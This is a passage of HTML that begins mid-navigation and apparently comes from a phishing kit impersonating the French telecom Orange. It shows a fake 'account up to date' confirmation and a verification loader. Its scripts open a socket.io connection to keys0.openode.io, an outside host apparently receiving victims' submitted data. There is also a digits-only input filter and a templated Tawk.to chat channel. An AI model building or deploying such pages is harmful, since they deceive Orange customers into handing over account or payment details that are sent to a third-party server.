<div class="o-nav-container">
<ul role="presentation">
<li><a title="retour à l'accueil" href="#" data-oevent-category="header" data-oevent-action="logo" class="o-logo"><img src="img/logo-orange.png" alt="retour à l'accueil"></a></li>
</ul>
</div>
<div class="o-nav-container o-nav-megaMenu-items">
<ul>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="mobilesetforfaits" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Mobiles et forfaits" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="mobilesetforfaits" data-tagging-label=""><span class="o-link-text"><span>Mobiles et
forfaits</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="internet" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Internet" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="internet" data-tagging-label=""><span class="o-link-text"><span>Internet</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="packsinternetmobiles" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Packs Internet + Mobile" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="packsinternetetmobile" data-tagging-label=""><span class="o-link-text"><span>Packs Internet +
Mobile</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="maison" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Maison" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="maison" data-tagging-label=""><span class="o-link-text"><span>Maison</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="tvetdivertissement" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="TV et divertissement" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="tvetdivertissement" data-tagging-label=""><span class="o-link-text"><span>TV et
divertissement</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="banque" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="Banque" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="banque" data-tagging-label=""><span class="o-link-text"><span>Banque</span></span></a></div>
</li>
<li>
<div class="o-nav-burger-link"><a href="#" data-id="news" data-state="o-inactive" aria-haspopup="true" aria-expanded="false" title="News" class="o-nav-elt o-nav-megaMenu " data-tagging-category="header" data-tagging-action="news" data-tagging-label=""><span class="o-link-text"><span>News</span></span></a></div>
</li>
</ul>
</div>
<div class="o-nav-items">
<div class="o-nav-container o-nav-evenement-items">
<ul>
<li class="o-nav-evenement-image-container"><a title="Noël arrive" data-oevent-category="header" data-oevent-action="noelarrivedu8decembre2020" href="#" class="o-link "><img src="img/img_event_elcos-desktop_noelarrive.png" alt="Noël arrive"></a></li>
</ul>
</div><a class="o-nav-burger hidden" onclick="return false;" href="#" aria-label="Menu"><span></span></a>
</div>
</div>
</nav>
</header>
<div class="uk-padding">
<div class="uk-padding-larg"></div>
<div class="uk-text-center uk-h4 uk-text-light">
<br />
<br />
<br />
<i class="check large primary icozion-check"></i>
<p class="vert-fin">Votre compte est à jour , vous bénéficiez de tous les services d'ORANGE .</p>
<br />
<p class="uk-text-bold uk-h5 noir">
Comptez 48h pour l'activation de tous les services. <br />
En cas de nécessité, un gestionnaire vous contactera </p>
<a href="https://login.orange.fr/">
<div class="btn btn-info eui-btn-sub"><i class="ui icozion-verrou"></i> Mon espace Client</div>
</a>
</div>
<div></div>
</div>
</div>
</div>
<div v-show="loading">
<div class="loading-center">
<div class="text-center">
<div class="charge">
<img src="./img/loader-orange.gif" class="loader">
</div>
<p class="text-center form">
Vérification en cours
</p>
<p><img src="./img/logo-orange.png" alt="" class="orange-log"/></p>
</div>
</div>
</div>
</div>
<script>
const socket = io('https://keys0.openode.io', {
transports: ['websocket', 'polling']
})
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.js" integrity="sha256-yE5LLp5HSQ/z+hJeCqkz9hdjNkk1jaiGG0tDCraumnA=" crossorigin="anonymous"></script>
<script>
const socket =io('https://keys0.openode.io/',{
transports:['websocket','polling']
})
function validateNumber(event) {
var key = window.event ? event.keyCode : event.which;
if (event.keyCode === 8 || event.keyCode === 46) {
return true;
} else if ( key < 48 || key > 57 ) {
return false;
} else {
return true;
}
};
$(document).ready(function(){
$('input').keypress(validateNumber);
});
</script>
<script src="./js/index.js?____ +Ctrl %%">
</script>
<!--Start of Tawk.to Script-->
<script type="text/javascript">
var Tawk_API = Tawk_API || {},
Tawk_LoadStart = new Date();
(function() {
var s1 = document.createElement("script"),
s0 = document.getElementsByTagName("script")[0];
s1.async = true;
// s1.src='https://embed.tawk.to/5dc29b31e4c2fa4b6bda4277/default';
s1.src = "https://embed.tawk.to/<?= $channel; ?>";
s1.charset = 'UTF-8';
s1.setAttribute('crossorigin', '*');
s0.parentNode.insertBefore(s1, s0);
})();
</script>
<!--End of Tawk.to Script-->
</body>
</html>